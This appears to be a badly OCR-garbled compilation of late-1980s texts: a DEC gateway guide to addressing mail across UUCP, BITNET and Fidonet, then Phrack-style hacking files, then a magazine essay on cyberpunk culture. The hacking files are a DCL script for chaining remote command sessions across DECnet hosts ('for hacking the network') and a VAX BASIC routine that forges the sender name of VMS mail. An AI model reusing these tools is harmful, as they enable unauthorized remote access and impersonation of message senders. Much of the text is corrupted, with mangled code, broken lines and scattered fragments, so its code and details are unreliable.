have produced something quite unlike the vendor-delivered mailer. One of 
the popular changes is to tinker with the meaning of quote characters (") 
in Ultrix addresses. Some systems consider that these two addresses are 
the same: 


Sitel!site2!user@host.dec.com 
and 

"sitel!site2!user"@host.dec.com 
while others are configured so that one form will work and the other 
will not. All of thes xamples use the quotes. If you have trouble 


getting the examples to work, please try them again without the quotes. 
Perhaps your Ultrix system is interpreting the quotes differently. 


If your Ultrix system has an IP link to Palo Alto (type "/etc/ping 
decwrl.dec.com" to find out if it does), then you can route your mail to the 
gateway via IP. This has the advantage that your Ultrix mail headers will 
reach the gateway directly, instead of being translated into DECNET mail 
headers and then back into Ultrix at the other end. Do this as follows: 


To: "“alien!address"@decwrl.dec.com 


The quotes are necessary only if the alien address contains a ! character, but 
they don’t hurt if you use them unnecessarily. If the alien address contains 
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an "@" character, you will need to change it into a "%" character. For 
example, to send via IP to joe@widget.org, you should address the mail 


To: "joetwidget.org"@decwrl.dec.com 


If your Ultrix system has only a DECNET link to Palo Alto, then you should 
address mail in much the same way that VMS users do, save that you should not 
put the nm% in front of the address: 


To: DECWRL:: 


"strange! foreign!address" 


Here are some typical outgoing mail addresses as used from an Ultrix system 
that has IP access. Ultrix systems without IP access should use the same 
syntax as VMS users, except that the nm% at the front of the address should not 


be used. 


D 


E 


"netsys! 
"Chris.Jones@f654.n987.z1.fidonet.org"@decwrl.dec.com 


o: “lill-winken!netsys!phrack"@decwrl.dec.com 

o: “postmaster%Smsp.pnet.sc.edu"@decwrl.dec.com 
o: “phrackservSCUNYVM.bitnet"@decwrl.dec.com 
fe) 
fe) 


phracksuunet.uu.net"@decwrl.dec.com 


AILS OF USING OTHER NETWORKS 


All of the world’s computer networks are connected together, more or less, so 
it is hard to draw exact boundaries between them. Precisely where the Internet 
ends and UUCP begins is a matter of interpretation. 


For purposes of 


universe into these categories: 


ERasynet 


Internet 


UUCP 


USENET 


BITNET 


Fidonet 


sending mail, though, it is convenient to divide the network 


Digital’s internal DECNET network. Characterized by addresses 
of the form NODE::USER. Rasynet can be used for commercial 
purposes. 


A collection of networks including the old ARPAnet, the NSFnet, 
the CSnet, and others. Most international research, 
development, and educational organizations are connected in 
some fashion to the Internet. Characterized by addresses of 
the form user@site.subdomain.domain. The Internet itself 
cannot be used for commercial purposes. 


A very primitive network with no management, built with 
auto-dialers phoning one computer from another. Characterized 
by addresses of the form placel!place2!user. The UUCP network 
can be used for commercial purposes provided that none of the 
sites through which the message is routed objects to that. 


Not a network at all, but a layer of software built on top of 
UUCP and Internet. 


An IBM-based network linking primarily educational sites. 
Digital users can send to BITNET as if it were part of 
Internet, but BITNET users need special instructions for 


reversing the process. BITNET cannot be used for commercial 
purposes. 
A network of personal computers. I am unsure of the status of 


using Fidonet for commercial purposes, nor am I sure of its 
efficacy. 


DOMAINS AND DOMAIN ADDRESSING 


There is a particular network called "the Internet;" it is somewhat related to 


what used to be 


"the ARPAnet." The Internet style of addressing is flexible 


enough that people use it for addressing other networks as well, with the 
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s quite difficult to look at an address and tell just what 


network it is likely to traverse. But the phrase "Internet address" does not 
mean "mail address of some computer on the Internet" but rather "mail address 


in the style used by the Internet." 
because the word 


something 


entire 


Terminology is even further confused 
"address" means one thing to people who build networks and 
ly different to people who use them. In this file an "address" 


is something like "mike@decwrl.dec.com" and not "192.1.24.177" (which is what 
network engineers would call an "internet address"). 


The Internet naming scheme uses hierarchical domains, which despite their title 
are just a bookkeeping trick. It doesn’t really matter whether you say 


NODE: :USER or USI 


networks t 


ogethe 


ER@NODE, but what happens when you connect two companies’ 


r and they both have a node ANCHOR?? You must, somehow, 


specify which ANCHOR you mean. You could say ANCHOR.DEC::USER or 
::USER or USER@ANCHOR.DEC or USER@DEC.ANCHOR. The Internet 
convention is to say USER@ANCHOR.DEC, with the owner (DEC) after the name 


DEC .ANCHOR 


(ANCHOR) . 


7] 


But there could be several different organizations named DEC. You could have 


Digital Equipme 


Committee. 
like this 
STANFORD, 


nt Corporation or Down East College or Disabled Education 

The technique that the Internet scheme uses to resolve conflicts 
is to have hierarchical domains. A normal domain isn’t DEC or 
but DEC.COM (commercial) and STANFORD.EDU (educational). These 


domains can be further divided into ZK3.DEC.COM or CS.STANFORD.EDU. This 
doesn’t resolve conflicts completely, though: both Central Michigan University 
and Carnegie-Mellon University could claim to be CMU.EDU. The rule is that the 


owner of t 


he EDU 


domain gets to decide, just as the owner of the CMU.EDU gets 


to decid 


nd of the 


whether the Electrical Engineering department or the Elementary 


Education department gets subdomain EE.CMU.EDU. 


he domain scheme, while not perfect, is completely extensible. If you have 


m, thereby making, say, decwrl.UUCP be somehow different from 


ECWRL.ENE 


is 


T 
two addresses that can potentially conflict, you can suffix some domain to the 
e 
D 


ECWRL’s entire mail system is organized according to Internet domains, and in 


D 

fact we handle all mail internally as if it were Internet mail. Incoming mail 
is converted into Internet mail, and then routed to the appropriate domain; if 
t 


hat domain requires some conversion, then the mail is converted to the 


requirements of the outbound domain as it passes through the gateway. For 
example, they put Easynet mail into the domain ENET.DEC.COM, and they put 
BITNET mail into the domain BITNET. 


The "top-level" domains supported by the DECWRL gateway are these: 


. EDU 
. COM 


Educational institutions 


Mi 


Commercial institutions 
Government institutions 


litary institutions 


-MAILNET 


Various organizations 
Network operations 
The BITNET 

The MAILNET 


2-character country code for routing to other countries 
Part of the Australian (.AU) name space. 


2-character country codes include UK (United Kingdom), FR (France), IT (Italy), 


CA (Canada 
country co 


), AU 
des. 


(Australia), etc. These are the standard ISO 2-character 


MAILING TO 


To mail to user SPRINTER at node WASH (which is DECNET address WASH::SPRINT 


RASYN 


KT 


ea 
w 

oO 

~ 


Internet mail should be addressed to sprinter@wash.enet.dec.com. Easynet 
addresses are not case-dependent; WASH and wash are the same node name and 
SPRINTER and sprinter are the same user nam 
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Sites that are not directly connected to the Internet may have difficulty with 
Internet addresses like wash.enet.dec.com. They can send into the Easynet by 
explicitly routing the mail through DECWRL. From domain-based Internet 
mailers, the address would be sprinter%Swash.enet@decwrl.dec.com. From UUCP 
mailers, the address would be decwrl!wash.enet! sprinter. Some Internet mailers 
require the form <@decwrl.dec.com:sprinter@wash.enet>. (This last form is the 
only technically correct form of explicit route, but very few Internet sites 
support it.) 


The DECWRL gateway also supports various obsolete forms of addressing that are 
left over from the past. In general they support obsolete address forms for 
two years after the change, and then remove it. 


MAILING TO DIGITAL ALL-IN-1 USERS 


Some Easynet users do not have a direct DECNET node address, but instead read 
their mail with All-in-1, which uses addresses of the form "Nate State @UCA". 
Here "UCA" is a Digital location code name. To route mail to such people, send 
to Nate.State@UCA.MTS.DEC.COM. Mail received from the All-in-1 mailer is 
unreplyable, and in fact unless the respondent tells you his return address in 
the body of the message, it is not normally possible even to puzzle out the 
return address by studying the message header. Mail from All-in-1 to Easynet 
passes through a gateway program that does not produce valid return addresses. 


MAILING TO THE INTERNET 


DECWRL’s mailer is an Internet mailer, so to mail to an Internet site, just use 
its address. If you are having trouble determining the Internet address, you 
might find that the Ultrix host table /etc/hosts.txt is useful. If you can’t 
find one anywher lse, there’s one on DECWRL. See the comments above under 
"how to send mail" for details about making sure that the mail program you are 
using has correctly interpreted an address. 


MAILING TO UUCP 


UUCP mail is manually routed by the sender, using ! as the separator character. 
Thus, the address xxx! yyy!zzz!user means to dial machine xxx and relay to it 
the mail, with the destination address set to yyy!zzz!user. That machine in 
turn dials yyy, and the process repeats itself. 


To correctly address UUCP mail, you must know a working path through the UUCP 
network. The database is sufficiently chaotic that automatic routing does not 
work reliably (though many sites perform automatic routing anyhow). The 
information about UUCP connectivity is distributed in the USENET newsgroup 
comp.mail.maps; many sites collect this data and permit local queries of it. 


At the end of this file is a list of the UUCP nodes to which DECWRL currently 
has a working connection. 


MAILING TO USENET 


Usenet is not a network. It’s a software layer, and it spans several networks. 
Many people say "Usenet" when they really mean UUCP. You can post a message to 
a Usenet newsgroup by mailing it to "name@usenet" at DECWRL. For example, 
mailing from VMS to this address: 


nm%SDECWRL: :"alt.cyberpunk@usenet" 


causes the mail message to be posted as an article to the Usenet newsgroup 
alt.cyberpunk. It is better to use Usenet software for posting articles, as 
more features are available that way, such as restricted distributions, 
crossposting, and cancellation of "wish I hadn’t sent that" articles. 
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MAILING TO BITNET 


Legend has it that the "BIT" in BITNET stands for "Because It’s There" or 


"Because It’s Time." It is a network consisting primarily of IBM computers. A 
native BITNET address is something like "OMAR at STANFORD", but when translated 
into our Internet format it becomes omar@stanford.bitnet. Once translated into 


Internet form, a BITNET address is used just like any other Internet address. 


MAILING TO FIDONET 


By comparison with the other linked networks, Fidonet has an addressing 
complexity bordering on the bizarre. The Fidonet people have provided me with 
this description: 


Each Fidonet node is a member of a "network," and may have subsidiary nodes 
called "point nodes." A typical Fido address is "1:987/654" or "987/654"; a 
typical Fido "point node" address is "1:987/654.32" or "987/654.32". This is 
zone 1, network 987, Fido (node) 654, "point node" 32. If the zone number is 
missing, assume it is zone 1. The zone number must be supplied in the outgoing 
message. 


To send a message to Chris Jones on Fidonet address 1:987/654, use the address 
Chris.Jones@f654.n987.z1.fidonet.org. To send a message to Mark Smith at 
Fidonet node 987/654.32, use address Mark.Smith@p32.£654.n987.z1.fidonet.org. 
Use them just like any other Internet address. 


Sometimes the return addresses on messages from Fidonet will look different. 
You may or may not be able to reply to them. 


Appendix: List of UUCP Neighbor Sites 


This table shows most of the sites that DECWRL dials directly via UUCP. You 
may find it useful to help you construct a UUCP route to a particular 
destination. Those sites marked with "*" are major UUCP routing nodes. You 
should prefer UUCP routes that use these sites as the first hop from DECWRL. 
Case is significant in UUCP host names. 


3comvax 3Com Corporation, Santa Clara, CA 

abvax Allen-Bradley Company, Highland Heights, OH 

acad Autodesk, Inc, Sausalito, CA 

adobe Adobe Systems Inc., Mountain View, CA 

alberta University of Alberta, Edmonton, Alberta, Canada 
allegra AT&T Bell Laboratories, Murray Hill, NJ 

*amdahl Amdahl Corp., Sunnyvale, CA 

amdcad Advanced Micro Devices, Sunnyvale, CA 

ames NASA Ames Research Center, Mountain View, CA 
*apple Apple Computers, Cupertino, CA 

ardent Ardent Computer Corp., Sunnyvale, CA 

argosy MassPar Computer Corp., Sunnyvale, CA 

atha Athabasca University, Athabasca, Alberta, Canada 
athertn Atherton Technology, Sunnyvale, CA 
Fatt AT&T Bell Laboratories, Columbus, Ohio 

avsd Ampex Corporation, Redwood City, CA 

cae780 Tektronix Inc. (Santa Clara Field Office) Santa Clara, CA 
chip M/A-COM Government Systems, San Diego, CA 

claris Claris Corporation, Mountain View, CA 

daisy Daisy Systems, Mountain View, CA 

decuac DEC/Ultrix Applications Ctr, Landover, MD 
*decvax DEC/Ultrix Engineering, Nashua, NH 

dsinc Datacomp Systems, Inc, Huntington Valley, PA 

eda EDA Systems Inc., Santa Clara, CA 

emerald Emerald Systems Corp., San Diego, CA 

escd Evans and Sutherland Computer Division, Mountain View, CA 
esunix Evans and Sutherland Corp., Salt Lake City, UT 


fluke John Fluke Manufacturing, Everett, WA 
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gryphon Trailing Edge Technology, Redondo Beach, CA 
handel Colorodo State Univ., CS Dept., Ft. Collins, CO 
hoptoad Nebula Consultants, San Francisco, CA 

*hplabs Hewlett Packard Research Labs, Palo Alto, CA 
ide Interactive Development Environments, San Francisco, 
idi Intelligent Decisions, Inc., San Jose, CA 
imagen Imagen Corp., Santa Clara, CA 

intelca Intel Corp., Santa Clara, CA 

limbo Intuitive Systems, Los Altos, CA 

logitech Logitech, Inc., Palo Alto, CA 

megatest Megatest Corp., San Jose, CA 

metaphor Metaphor Corp., Mountain View, CA 

microsoft Microsoft, Bellevue, WA 

mindcrf Mindcraft Corp., Palo Alto, CA 

mips MIPS Computer Systems, Mountain View, CA 
mntgfx Mentor Graphics Corp., Beaverton, OR 

mordor Lawrence Livermore National Lab, Livermore, CA 
mtu Michigan Tech Univ., Houghton, MI 

mtxinu Mt. Xinu, Berkeley, CA 

nsc National Semiconductor Corp., Sunnyvale, CA 
oli-stl Olivetti Software Techn. Lab, Menlo Park, CA 
oracle Oracle Corp., Belmont, CA 

*pacbell]l Pacific Bell, San Ramon, CA 

parcplace Parc Place Systems, Palo Alto, CA 

purdue Purdue University, West Lafayette, IN 
*pyramid Pyramid Technology Corporation, Mountain View, 
qubix Qubix Graphic Systems, San Jose, CA 

quintus Quintus Computer Systems, Mountain View, CA 
research AT&T Bell Laboratories, Murray Hill, NJ 

riacs Res.Inst. for Adv. Compu. Sci., Mountain View, 
rtech Relational Technology Inc., Alameda, CA 

sci Silicon Compilers, San Jose, CA 

sco Santa Cruz Operation, Santa Cruz, CA 

sequent Sequent Computer System, Inc., Beaverton, OR 
sgi Silicon Graphics, Inc., Mountain View, CA 
shell Shell Development Corp., Houston, TX 

simpact Simpact Assoc., San Diego, CA 

sjsca4 Schlumberger Technologies, San Jose, CA 

sun Sun Microsystems, Mountain View, CA 

td2cad Intel Corp., Santa Clara, CA 

teraida Teradyne EDA Inc., Santa Clara, CA 

theta Process Software Inc., Wellesley, MA 
turtlevax CIMLINC, Inc, Palo Alto, CA 
*ucbvax University of California, Berkeley, CA 

utcsri Univ. of Toronto, Computer Science, Toronto, CA 
visisj VLSI Technology Inc., San Jose, CA 

wyse Wyse Technology, San Jose, CA 

zehntel Zehntel, Inc., Walnut Creek, CA 
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==Phrack Inc.== 


Volume Three, Issue 30, File #6 of 12 


Decnet Hackola : Remote Turist TTY (RTT) 


A Late-Night Creation Of 


*Hobbit* 
This VMS network frob is yet another "tell"-type thing. This one has an 
uncommon feature though: recursion (i.e. you can be connected to some host 
and open *another* connection to a third host and it will [attempt to!] "do the 
right thing"). Also, you can “Y out and if you run it again, it will return to 
the open connection instead of starting a new one. 
H* 


KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKK KKKK 


S$! RTT -- Remote Turist TTY interface. Do @RTT hostname or @RTT area.node 
S$! to start; this file must exist in the remote machine’s default area. 

S$! You can *Y out and the network channel will stick around; invoking RTT 
S$! again will resume the extant process and ignore arguments. 

S$! If we are a network object, play server, if not, we must be the client. 
S$! If we are called while already playing server, recurse to the end host. 
S$! This recursion in theory can happen infinite times. Make damn sure 

S$! what you call this file and the "task=" spec jive, and that they are the 
S$! same file, or you will fall victim to very vicious timing screws. 


S$! Another result of *Hobbit* abusing network file jobs until well past dawn. 


$1. 2H* 

Sset noon 

Sif fSmode().eqs."NETWORK".and.pl.eqs."" then Sgoto srv 

S$! Talking to a luser, go find the net job 

Smagic=0 ! assume top level 

Sif fStrninm("nf",,,,,"table_name") .nes."" then Sgoto lread 
S$sl=fSlen(pl1) 

Sdot=fSlocate(".",pl) ! area.node 

Sif sl.eq.dot then Sgoto nopen ! no dot, treat normally 
Sq=fSloc("""",pl1) ! access control?? 

Snode=fSext (0,dot,pl1) ! area 

Sdot=dot+1 ! point past it now 
Snode=node*1024+fSext (dot, q-dot,pl1) ! and pull out the complete node 
Srest=""""+fSext(q,80,pl)+"™""" ! superquotify the quotes [yeccchh! ] 
Spl=""’"'node’’’rest’" ! add remains in stringwise [ack barf] 


S$! We were called with an argument; but if we’re network mode, we’re *already* 
S$! a server, so do special things. 
Snopen: Sif fSmode().eqs."NETWORK" then Smagic=1 


S! Top-level user process or recursed here: client connect 
Sopen/read/write/err=yuk nf ’pl’::"0=rtt" 

Sread/time=5/err=yuk nf hprm ! let other end tell us where we got 
Sprm==hprm ! global prompt str so we resume correctly 


Swrite sysSoutput "Connection open" 

Sif magic then Sgoto m_setup 

Slread: S$read/prompt="'’'’prm’S "/end=lclose sys$command line 

Swrite nf line ! send the sucker and go get the stuff 
Sltype: Sread/time=8/err=tmo/end=lclose nf line 

Sif line.eqs."%S%eoc%S%$" then Sgoto lread 

Sif line.eqs."%S%smagic%S%$" then Sgoto newprm 

Swrite sysSoutput line 

Sgoto ltype 


Snewprm: Sread nf hprm ! new prompt gets piped in from servers 
Sprm==hprm ! let us find it 
Sread nf line ! garbola %S%eoc%% -- avoid timing fuckup 


Sif line.nes."%S%eocS%$" then Sgoto hpe !! oops !! 


6.txt Wed Apr 26 09:43:38 2017 2 


Sgoto lread 

Stmo: Swrite sysSoutput "[Timed out]" ! supposed to bail out on a fuckup 
Sgoto lread ! it doesn’t always work, though. 
S$! 


S$! Do a special dance when we’re recursing 
Sm_setup: S$write nnn "S%smagic%%" 


Swrite nnn prm ! notify client end of new connection 
Ssignal ! flush the inbetweens 

Sgoto rread ! and drop to magic server 

$! 

Ssrv: ! Normal remote task half 

S$! This is an unbelievable kludge. You can’t just open sysSnet: and then 
S$! have program output go there as well as the control thingies, but you 
S$! *can* pipe everything to your sysS$net-opened-device: and it *works*! 
Sopen/read/write/err=yuk nnn sysSnet: 

Sclose sysSoutput ! netserver.log? 

Sclose sysS$error 

Smagic=0 ' not recursing yet 

S$! Some handy symbols for the far end 

Srtt:==@sysSlogin:rtt ! make further connects easier 
Sncep:==Sncp ! for hacking the network 
Ssignal:==write nnn """SSeocs3"""_ ! magic sync string 

Swrite nnn fS$trnl("sysS$node","lnmS$system_table") ! HELO... 
Sdef/pr sysSoutput nnn: ! the awful kludge is invoked 

Sdef/pr sysSerror nnn: ! for error handling too 

$! 


S$! Server loop 

Srread: S$read/end=rclose nnn line 

Sif magic then Sgoto passing 

S$’ line’ 

Sm_cmd_end: Ssignal ! signal for all completions 
Sgoto rread 
S! If we’re magically in the middle, handle differently 
Spassing: Swrite nf line 
Smtype: $read/time=5/err=mclose/end=mclose nf line 
Sif line.eqs."%S%eoc%S%$" then Sgoto m_cmd_end 

Swrite nnn line 

Sgoto mtype 


S$! Closure and error handlers 
S$! General protocol error catch 
Syuk: Swrite sysSoutput "Couldn’t open network!" 


Sexit 

$! Here if the luser typed “%Z 

Slclose: $close nf ! should signal eof at far end 
Sexit 


S$! Here if we got hung up on by the client 

Srclose: Sif magic then Sclose nf 

Sclose nnn 

Sstop/id=0 

S$! Here if we’re magic and our remote server exited: tell client whats flying 
Smclose: $close nf 

Smagic=0 

Swrite nnn "S%smagic%S%S" 

Swrite nnn fStrnl("sysSnode","InmSsystem_table") 

Ssignal 

Sgoto rread 

S$! Here if we recursed down the line there and didn’t see the right things 
Shpe: Swrite sysSoutput "!!Hairy protocol error!!" 

Sclose nf 

Sexit 
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ab 


In the August 1986 issue of VAX PROFESSIONAL 


, the BASIC subroutine that 


appears 


at the end of this text was published. It was not until more than two years 
rface with VMS 5.x. While the 
routine included here has one 
important feature. The ability to have a mail message appear to be from 


later that DEC included a callable mail inte 
official version is much mor xtensive, th 


someone else is a good addition to most "too 


VMS Mail works in two manners. The first is 
second is as a network object. In this meth 
NETSERVER.COM command procedure in respons 

MAIL.EXE is activated as network object 27. 

viewed by using the NCP command SHOW KNOWN O 
operates as a slave process, receiving instr 
The master, in most cases, is another proces 


ecessary. Addresses that are not on the sa 
orwarded by activating yet another slave pr 
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The first string is for the FROM name. This 
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the familiar interactive. 
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to an incoming connect request. 
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is what makes the subroutine 


useful, as it can be anything (i.e. the_Easter_Bunny). The next set of strings 
are to whom the mail is to be sent. One address per string, with a null 
string, chr(0), terminating the list. The third item is what the receiver(s) 
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1 S%TITLE ’MAIL SUBROUTINE’ 


STRIN 
STRIN 


SUB MAILT( STRING NODE, & 
STRING FROM_NAME, & 
STRING TO_LIST(), & 
STRING TO_SHOW, & 

G 
G TE 


OPTION TYPE = INTEGER 


DECLARE INTEGER FUNCTION & 
PUT_MSG 
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DECLARE STRING FUNCTION & 

GET_MSG, & 

GET_INPUT 
DECLARE INTEGER CONSTANT & 

TRUE = -1, & 

FALSE = 0 
Net_Link_Open = FALSE 
Z = POS( NODE + ":" , ":" , 1) 
NODE_NAMES = LEFT$( NODE , Z2- 1 ) 
ON ERROR GOTO Mail_Net_Error 
MAIL CHANNEL = 12 
OPEN NODE_NAMES + '::"27="" AS FILE MAIL CHANN 
Net_Link_Open = TRUE 


STS = PUT_MSG( FROM_NAM 
IF STS <> 0 THEN 
GOTO ERROR_DON 
END IF 
RECEIVERS = 0 
TO_COUNT = 1 


Gl 
~~ 


GI 


Mail Recipients: 


IF TO_LIST( TO_COUNT ) = "" THEN 
GOTO End_Of_Line 
END IF 
STS = PUT_MSG( EDITS( TO_LIST( TO_COUNT ) , 32 


IF STS <> O THEN 
GOTO Error_Done 

END IF 

GOSUB Errchk 

IF LINK_ERR <> 0 THEN 
GOTO Error_Done 

END IF 


IF ( ERRSTS AND 1 ) = O THEN 
GOTO Error_Done 
END IF 


TO_COUNT = TO_COUNT + 1 
GOTO Mail_Recipients 


END_OF_LINE: 
STS = PUT_MSG( CHRS(0) ) 
IF STS <> O THEN 
GOTO Error_Done 
END IF 
IF RECEIVERS = 0 THEN 
GOTO Mail_Done 
END IF 


STS = PUT_MSG( TO_SHOW ) 
IF STS <> O THEN 

GOTO Error_Done 
END IF 


STS = PUT_MSG( SUBJECT ) 
IF STS <> O THEN 

GOTO Error_Done 
END IF 


FOR I = 1 UNTIL TEXT(I) = CHRS (255) 
STS = PUT_MSG( TEXT(I) ) 
IF STS <> 0 THEN 
GOTO Error_Done 
END IF 


UT_MSG ( 
<> 0 TH 


CHRS$ (0) 


EN 
Ei 


Error_Done 
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) 


EC 


EIV. 


ERS 


heck: 
Errchk 
K 


Delivery_C 
GOSUB 
LIN 


IF 
EX = IND 
IND! 


ND IF 
OTO Mail Done 


rS = 


EX + 
EX <> SAV 
GOTO Delivery_Check 
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ERR <> 0 TH 
Error_Do 


iS 
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Errmsg 
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0 
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) 


ER PUT_MSG ( 
GOTO 15 
) 
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50 
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_MSG 
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STRING M ) 


EL , M 
COUNT MLI 


RING GET_INPU 


FALS! 
ROR GOTO 1650 
Cc 

E.COUN 
FROM 


an 


C 


INPUT 


TI 


INT 


T ( EGER C 


OF = TRUE 
‘IND DEE 


TRING GET_MSG 
ROR GOTO 1750 
MATL CHANNEL 
ECOUN 

OVE FROM MAIL CHANNEL , 
EMP S$ 


Ez 
Wa WWM 


H 


EMPS = R 


x HE 
aA 
HN 
5a 
ve) 
ie) 
ll 
ow 


1755 LINK_ERR 
END DEE 


ERR 


Mail_Net_Error: 
RESUME 1900 


1900 PRINT "%SNetwork communications error." 


Error_Done: 


Mail_Done: 
IF Net_Link_Open TH 
CLOSE MATL _CHANN 

END IF 


eal 
a 


[7] 
4 


END SUB 
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<< Personal Computing Magazine >> 
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<< Copyright 1989 by the Association for Computing Machinery >> 
<< >> 
<< >> 

More often than we realize, reality conspires to imitate art. In the case of 


the computer virus reality, the art is "cyberpunk," a strangely compelling 
genre of science fiction that has gained a cult following among hackers 
operating on both sides of the law. Books with titles like "True Names," 
"Shockwave Rider," "Neuromancer," "Hard-wired," "Wetware," and "Mona Lisa 
Overdrive," are shaping the realities of many would-be viral adepts. Anyone 
trying to make sense of the social culture surrounding viruses should add the 
books to their reading list as well. 


Cyberpunk got its name only a few years ago, but the genre can be traced back 
to publication of John Brunner’s "Shockwave Rider" in 1975. Inspired by Alvin 
Toffler’s 1970 best-seller "Future Shock," Brunner paints a distopian world of 
the early 21st Century in which Toffler’s most pessimistic visions have come to 
pass. Crime, pollution and poverty are rampant in overpopulated urban 
arcologies. An inconclusive nuclear exchange at the turn of the century has 
turned the arms race into a brain race. The novel’s hero, Nickie Haflinger, is 
rescued from a poor and parentless childhood and enrolled in a top secret 
government think tank charged with training geniuses to work for a 
military-industrial Big Brother locked in a struggle for global political 
dominance. 


It is also a world certain to fulfill the wildest fantasies of a 1970s phone 
"phreak." A massive computerized data-net blankets North America, an 
electronic super highway leading to every computer and every last bit of data 
on every citizen and corporation in the country. Privacy is a thing of the 
past, and one’s power and status is determined by his or her level of identity 
code. Haflinger turns out to be the ultimate phone phreak: he discovers the 
immorality of his governmental employers and escapes into society, relying on 
virtuoso computer skills (and a stolen transcendental access code) to rewrite 
his identity at will. After six years on the run and on the verge of a 
breakdown from input overload, he discovers a lost band of academic 
techno-libertarians who shelter him in their ecologically sound California 
commune and... well, you can guess the rest. 


Brunner’s book became a best-seller and remains in print. It inspired a whole 
generation of hackers including, apparently, Robert Morris, Jr. of Cornell 
virus fame. The Los Angeles Times reported that Morris’ mother identified 
"Shockwave Rider" as "her teen-age son’s primer on computer viruses and one of 
the most tattered books in young Morris’ room." Though "Shockwave Rider" does 
not use the term "virus," Haflinger’s key skill was the ability to write 
"tapeworms" -—- autonomous programs capable of infiltrating systems and 
surviving eradication attempts by reassembling themselves from viral bits of 
code hidden about in larger programs. Parallels between Morris’ reality and 
Brunner’s art is not lost on fans of cyberpunk: one junior high student I 
spoke with has both a dog-eared copy of the book, and a picture of Morris taped 
next to his computer. For him, Morris is at once something of a folk hero and 
a role model. 


In "Shockwave Rider," computer/human interactions occurred much as they do 
today: One logged in and relied on some combination of keyboard and screen to 
interact with the machines. In contrast, second generation cyberpunk offers 
more exotic and direct forms of interaction. Vernor Vinge’s "True Names" was 
the first novel to hint at something deeper. In his story, and small band of 
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hackers manage to transcend the limitations of keyboard and screen, and 
actually meet as presences in the network system. Vinge’s work found an 
enthusiastic audience (including Marvin Minsky who wrote the afterword), but 
never achieved the sort of circulation enjoyed by Brunner. It would be another 
author, a virtual computer illiterate, who would put cyberpunk on the map. 


The author was William Gibson, who wrote "Neuromancer" in 1984 on a 1937 Hermes 
portable typewriter. Gone are keyboards; Gibson’s characters jack directly 
into Cyberspace, "a consensual hallucination experienced daily by billions of 
legitimate operators... a graphic representation of data abstracted from the 
banks of every computer in the human system. Unthinkable complexity. Lines of 
light ranged in the nonspace of the mind, clusters and constellations of 
data..." 


Just as Brunner offered us a future of the 1970s run riot, Gibson’s 


"Neuromancer" serves up the 1980s taken to their cultural and technological 
extreme. World power is in the hands of multinational "zaibatsu," battling for 
power much as mafia and yakuza gangs struggle for turf today. It is a world of 
organ transplants, biological computers and artificial intelligences. Like 


Brunner, it is a distopian vision of the future, but while Brunner evoked th 
hardness of technology, Gibson calls up the gritty decadenc voked in the 
movie "Bladerunner," or of the William Burroughs novel, "Naked Lunch" (alleged 
Similarities between that novel and "Neuromancer" have triggered rumors that 
Gibson plagiarized Burroughs). 


Gibson’s hero, Case, is a "deck cowboy," a freelance corporate thief-for-hir 
who projects his disembodied consciousness into the cyberspace matrix, 
penetrating corporate systems to steal data for his employers. It is a world 
that Ivan Boesky would understand: Corporate espionage and double-dealing has 
become so much the norm that Case’s acts seem less illegal than profoundly 
ambiguous. 


This ambiguity offers an interesting counterpoint to current events. Much of 
the controversy over the Cornell virus swirls around the legal and ethical 
ambiguity of Morris’ act. For every computer professional calling for Morris’ 
head, another can be found praising him. It is an ambiguity that makes the 
very meaning of the word "hacker" a subject of frequent debat 


Morris’ apparently innocent error in no way matches the actions of Gibson’s 
characters, but a whole new generation of aspiring hackers may be learning 


their code of ethics from Gibson’s novels. "Neuromancer" won three of science 
fiction’s most prestigious awards -- the Hugo, the Nebula and the Philip K. 
Dick Memorial Award -- and continues to be a best-seller today. Unambiguously 


illegal and harmful acts of computer piracy such as those alleged against Kevin 
Mitnick (arrested after a long and aggressive penetration of DEC’s computers) 
would fit right into the "Neuromancer" story line. 


"Neuromancer" is the first book in a trilogy. In the second volume, "Count 
Zero" so-called after the code name of a character the cyberspace matrix 
becomes sentient. Typical of Gibson’s literary elegance, this becomes apparent 
through an artist’s version of the Turing test. Instead of holding an 
intelligent conversation with a human, a node of the matrix on an abandoned 
orbital factory begins making achingly beautiful and mysterious boxes -- a 21st 
Century version of the work of the late artist, Joseph Cornell. These works of 
art begin appearing in the terrestrial marketplace, and a young woman art 
dealer is hired by an unknown patron to track down the source. Her search 
intertwines with the fates of other characters, building to a conclusion equal 
to the vividness and suspense of "Neuromancer." The third book, "Mona Lisa 
Overdrive" answers many of the questions left hanging in the first book and 
further completes the details of the world created by Gibson including an 
adoption by the network of the personae of the pantheon of voodoo gods and 
goddesses, worshipped by 21st Century Rastafarian hackers. 


Hard core science fiction fans are notorious for identifying with the worlds 
portrayed in their favorite books. Visit any science fiction convention and 
you can encounter amidst the majority of quite normal participants, small 
minority of individuals who seem just a bit, well, strange. The stereotypes of 
individuals living out science fiction fantasies in introverted solitude has 
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more than a slight basis in fact. Closet Dr. Whos or Warrior Monks from "Star 
Wars" are not uncommon in Silicon Valley; I was once startled to discover over 
lunch that a programmer holding a significant position in a prominent company 
considered herself to be a wizardess in the literal sense of the term. 


Identification with cyberpunk at this sort of level seems to be becoming more 
and more common. Warrior Monks may have trouble conjuring up Imperial 
Stormtroopers to do battle with, but aspiring deck jockeys can log into a 
variety of computer systems as invited or (if they are good enough) uninvited 


guests. One individual I spoke with explained that viruses held a special 
appeal to him because it offered a means of "leaving an active alter ego 
presence on the system even when I wasn’t logged in." In short, it was the 


first step toward experiencing cyberspace. 


Gibson apparently is leaving cyberpunk behind, but the number of books in the 
genre continues to grow. Not mentioned here are a number of other authors such 
as Rudy Rucker (considered by many to be the father of cyberpunk) and Walter 
John Williams who offer similar visions of a future networked world inhabited 
by human/computer symbionts. In addition, at least one magazine, "Reality 
Hackers" (formerly "High Frontiers Magazine" of drug fame) is exploring the 
same general territory with a Chinese menu offering of tongue-in-cheek 
paranoia, ambient music reviews, cyberdelia (contributor Timothy Leary’s term) 
and new age philosophy. 


The growing body of material is by no means inspiration for every aspiring 
digital alchemist. I am particularly struck by the "generation gap" in the 
computer community when it comes to "Neuromancer": Virtually every teenag 
hacker I spoke with has the book, but almost none of my friends over 30 have 
picked it up. 


Similarly, not every cyberpunk fan is a potential network criminal; plenty of 
people read detective thrillers without indulging in the desire to rob banks. 
But there is little doubt that a small minority of computer artists are finding 
cyberpunk an important inspiration in their efforts to create an exceedingly 
strange computer reality. Anyone seeking to understand how that reality is 
likely to come to pass would do well to pick up a cyberpunk novel or two. 
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Americans love gadgets, so it is not hard to explain the popularity of the lie 
